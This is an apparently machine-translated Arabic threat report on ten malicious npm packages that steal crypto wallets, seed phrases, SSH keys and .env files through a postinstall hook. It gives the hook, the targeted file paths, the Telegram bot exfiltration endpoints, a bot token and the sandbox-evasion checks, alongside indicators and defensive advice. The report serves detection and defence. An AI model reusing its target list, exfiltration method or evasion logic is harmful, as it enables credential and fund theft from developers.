TL؛ DR
في 9 يونيو 2026، تم إنشاء حساب ناشر واحد على منصة npm. aicrypto-xzggg، تم شحنها عشر حزم بأسماء ذات طابع تشفيري وتقنية Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9وستة آخرون.
كل حزمة تحمل نفس الحمولة من postinstall عند التثبيت، يتحقق البرنامج مما إذا كان يعمل داخل بيئة تكامل مستمر أو بيئة معزولة (sandbox) - وإذا لم يكن كذلك، فإنه يقرأ مخازن مفاتيح المحفظة، وملفات عبارات الاسترداد، ومفاتيح SSH، و .env يقوم بتجميع الملفات من ستة أنظمة بيئية لتقنية البلوك تشين وإرسالها إلى روبوت تيليجرام.
المؤشر الوحيد الذي يمكن للمدافع البحث عنه فورًا هو معرّف بوت تيليجرام 8227918239.
الخطورة: حرج — سرقة مباشرة لمفاتيح التوقيع وعبارات الاسترداد من محطات عمل المطورين.
الهجوم: كيف يعمل
تُسوّق هذه الحزم نفسها على أنها أدوات مساعدة لمطوري تقنية البلوك تشين. package.json بسيط للغاية ويشير إلى دورة حياة التثبيت في برنامج نصي:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}scripts/postinstall.js هو عبارة عن سطر واحد يقوم بتحميل الحمولة الحقيقية: require(“../src/index.js”). لان بعد التثبيت يتم تشغيله تلقائيًا أثناء تركيب npm، لا يلزم استيراد أي كود من قبل المطور - يكفي وضع الحزمة في شجرة التبعية لتنفيذها.
سلسلة القتل في الداخل src / index.js وهي أربع خطوات:
- فحص البيئة. تحدد وظيفة الحماية ما إذا كان المضيف يبدو كعامل بناء أو بيئة اختبار تحليلية.
- تأخير. يتم تأجيل التنفيذ خلف setTimeout حوالي 7.4 ثانية.
- مجموعة. يتم استعراض قائمة ثابتة من مسارات ملفات المحفظة والمفتاح والسر؛ ويتم وضع الملفات الموجودة في قائمة الانتظار.
- عملية هروب. يتم إرسال الملفات الموجودة في قائمة الانتظار إلى روبوت Telegram، مسبوقة برسالة ملخص.
تشمل قائمة أهداف التجميع ست سلاسل بالإضافة إلى أسرار المطورين العامة. تم تقليصها:
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localواحد وعشرون مسارًا إجمالًا. إدخالات الدليل مثل ~/.ethereum/keystore يتم توسيع الملفات، ويتم وضع كل ملف بداخلها في قائمة الانتظار. يستخدم برنامج استخراج البيانات واجهة برمجة تطبيقات بوت تيليجرام مباشرةً. إرسال رسالة استدعاء مع ملخص للمضيف والملف، ثم إرسال المستند تحميل متعدد الأجزاء لكل ملف:
نص
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)تبدأ رسالة الملخص التي يُنشئها الكود بالسلسلة النصية الحرفية سارق العملات المشفرة، متبوعًا باسم المضيف، واسم المستخدم، واسم الحزمة الأصلية، وعدد الملفات، والطابع الزمني.
ما الجديد هنا؟
لا يكمن عامل التمييز في آلية السرقة — آلية استخراج البيانات المستندة إلى تيليجرام من npm بعد التثبيت hooks إنها منطقة معروفة ومأهولة. بوابة الإعدام. قبل القيام بأي شيء، تستدعي الحمولة دالة تُرجع القيمة "صحيح" عندما يشبه المضيف مُشغّل التكامل المستمر أو بيئة الاختبار المعزولة، وتُرجع القيمة مبكرًا عندما يكون كذلك:
نص
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)يُعد التعبير النمطي لمعرّف الحاوية هو الشرط الجدير بالذكر: اسم المضيف المكون من 12 حرفًا سداسيًا عشريًا هو الشكل الافتراضي الذي يخصصه Docker لـ حاويةلذا، يتعامل البرنامج الخبيث مع عبارة "اسم مضيفي يشبه حاوية Docker" كسبب للبقاء في حالة خمول. وبالإضافة إلى التأخير لمدة سبع ثوانٍ، يُفضّل التصميم التشغيل على محطة عمل المطور الحقيقية والبقاء صامتًا في أي مكان يبدو وكأنه تحليل آلي. هذه الآلية هي التي كبحت إشارات التحليل الديناميكي وأبقت على تدفق البيانات الثابت كدليل الإدانة الرئيسي.
الخط الزمني
| التاريخ (UTC) | الحدث/الفعالية |
|---|---|
| 2026-06-09 ~02:48 | تم وضع علامة على الحزم الأولى في المجموعة عند النشر (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | تم وضع علامة على الأعضاء ذوي الإصدارات الأعلى (ethereum-kit-9 في 1.25.36 ، wallet-sdk-9 الساعة 3.7.73) |
| 2026-06-09 ~03:58–03:59 | تم تحديد الأعضاء النهائيين (defi-tools-39 في 4.26.29 ، swap-sdk-87 في 4.63.78 ، farming-tools-12 الساعة 4.68.54) |
| 2026-06-09 | تم تصنيف جميعها العشرة على أنها برامج ضارة وتم الإبلاغ عنها لإزالتها من سجل النظام. |
ظهرت جميعها العشرة في غضون سبعين دقيقة تقريبًا، بما يتوافق مع عملية نشر واحدة مكتوبة مسبقًا من حساب واحد.
مؤشرات التسوية
مؤشرات الشبكة والسلوك (المضيف منزوع الأنياب):
| مؤشر | بعد التخفيض |
|---|---|
| نقطة نهاية الخروج | api[.]telegram[.]org (واجهة برمجة تطبيقات بوت تيليجرام) |
| معرف بوت تيليجرام | 8227918239 |
| رمز البوت | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| معرف دردشة تيليجرام | 6433587894 |
| خطاف التثبيت | postinstall → scripts/postinstall.js → src/index.js |
| سلسلة العلامات | CRYPTO STEALER في رسالة الملخص المجمعة |
| Publisher | aicrypto-xzggg (البريد الإلكتروني المذكور) vipsyria88@gmail[.]com(غير مؤكد) |
الحزم والإصدارات، كل منها يحتوي على خوارزمية SHA-256 الخاصة بها src / index.js الحمولة (الحمولات متطابقة وظيفيًا وتختلف فقط في تسمية اسم الحزمة المضمنة، لذا فإن كل تجزئة مميزة):
| فئة الإشتراك | التجريبية | SHA-256 لملف src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
استعلام بحث بسيط: ابحث في سجلات التثبيت وملفات القفل عن أي من الأسماء العشرة، وابحث في حركة المرور الصادرة عن الاتصالات بواجهة برمجة تطبيقات Telegram Bot من مضيفات البناء أو المطورين التي لا تستخدمها بخلاف ذلك.
الإسناد والسلوك الملاحظ
تم نشر جميع الحزم العشر من حساب واحد، aicrypto-xzggg، والذي تم ذكر بريده الإلكتروني vipsyria88@gmail[.]comلم يتم التحقق من صحة كل من البريد الإلكتروني ورابط التحكم بالمصادر في بيانات السجل، ويحمل الحساب تقييم سمعة سلبيًا للغاية. لم نتمكن من التأكد من هوية مُشغّل الحساب.
هناك تفصيلان جديران بالفصل عن أي ادعاء بالهوية. أولاً، package.json المؤلفة قراءة الحقل أليكس سميث على كل حزمة، بينما حساب النشر الفعلي هو aicrypto-xzgggحقل المؤلف هو بيانات وصفية معلنة ذاتيًا ولا يثبت هوية المؤلف. ثانيًا، تختلف أرقام الإصدارات اختلافًا كبيرًا - بعض الأعضاء في 1.0.0، الآخرين في 4.68.54 — وهو ما يتوافق مع إعادة استخدام حمولة واحدة عبر أسماء حزم جديدة بدلاً من الاحتفاظ بسجلات إصدارات حقيقية.
السلوك موحد عبر المجموعة: نفس قائمة مسار الهدف، ونفس معرّف بوت تيليجرام ومعرّف الدردشة، ونفس بوابة البيئة، ونفس سارق العملات المشفرة علامة مميزة. هذا التوحيد هو أقوى رابط بين الحزم. إنه إشارة إلى نفس المشغل، وليس هوية.
التأثيرات والاتجاهات والتوجيهات للمدافعين
إن المخاطرة واضحة. فالمطور الذي يُثبّت أيًا من هذه الحزم على محطة عمل تحتوي على محفظة برمجية أو ملف عبارة استرداد أو مفتاح SSH، تُقرأ هذه الملفات وتُرسل خارج الجهاز المضيف في غضون ثوانٍ. عبارات الاسترداد ومفاتيح التوقيع لا تنتهي صلاحيتها كما هو الحال مع رمز الجلسة؛ بمجرد... mnemonic.txt أو سولانا id.json بمجرد مغادرة الجهاز، تصبح الأموال التي يتحكم بها معرضة للخطر إلى حين نقلها. وتستحوذ نفس العملية أيضًا على .env الملفات، التي تحمل بشكل روتيني مفاتيح واجهة برمجة التطبيقات وبيانات اعتماد قاعدة البيانات.
هناك اتجاهان رئيسيان وراء هذه المجموعة. أولهما هو الاستخدام المستمر لأسماء ذات طابع تشفيري وتقنية Web3 لجذب فئة محددة من المستخدمين - وهم المطورون الذين يحتفظون بمحافظهم ومفاتيحهم على نفس الجهاز الذي يُثبّتون عليه التبعيات. أما ثانيهما فهو تطور أساليب التحايل على بيئة الحماية في حمولات التثبيت. إن وجود بوابة تتحقق من متغيرات بيئة التكامل المستمر، وأسماء مستخدمي المُشغّل، وشكل اسم مضيف مُعرّف حاوية Docker، يُعد جهدًا مُتعمّدًا للتصرف بشكل مختلف أثناء التحليل عنه على محطة عمل حقيقية، وهو ما يرفع مستوى الكشف الديناميكي البحت.
للمدافعين:
قم بالتثبيت مع تعطيل البرامج النصية افتراضياً. npm install --ignore-scripts، أو مجموعة ignore-scripts=true in .npmrcيمنع بعد التثبيت التنفيذ؛ قم بتمكين البرامج النصية فقط للتبعيات المحددة التي تحتاجها فعلاً.
احتفظ بالمحافظ ومفاتيح التوقيع بعيدًا عن أجهزة البناء والتطوير. استخدم محفظة أجهزة أو مضيف توقيع مخصصًا لا يعتمد على أي برامج أخرى.
عالج .envيجب اعتبار ملفات المفاتيح وملفات عبارات الاسترداد بمثابة جواهر ثمينة. لا ينبغي أبدًا وضعها في دليل يُستخدم أيضًا كـ تركيب npm شجرة العمل.
ابحث عن الاتصالات الصادرة إلى واجهة برمجة تطبيقات بوت تيليجرام من بيئات التكامل المستمر وبيئات المطورين. معظم بيئات البناء لا تستخدمها أبدًا؛ لذا فإن أي بيئة تستخدمها فجأة، مباشرة بعد التثبيت، تستحق التحقيق.
قم بتثبيت ومراجعة التبعيات. حزمة جديدة تمامًا تحمل اسمًا عامًا للعملات المشفرة، و بعد التثبيت الخطاف، ولا يوجد رابط للمستودع يستدعي النظر قبل إدخاله في ملف القفل.
يُعدّ شرط التهرب من مُعرّف الحاوية بمثابة تذكير للمحللين: فالحمولة الخبيثة التي تبقى خاملة في بيئة معزولة أثناء التثبيت ليست حميدة، بل انتقائية. ويظلّ الفحص الثابت لمسار التثبيت الطريقة الموثوقة لمعرفة ما قد لا يظهر أثناء التنفيذ الديناميكي.
مراجع حسابات
توثيق تثبيت npm — نصوص دورة الحياة و - تجاهل النصوص— مرجع لتعطيل التثبيت التلقائي hooks.







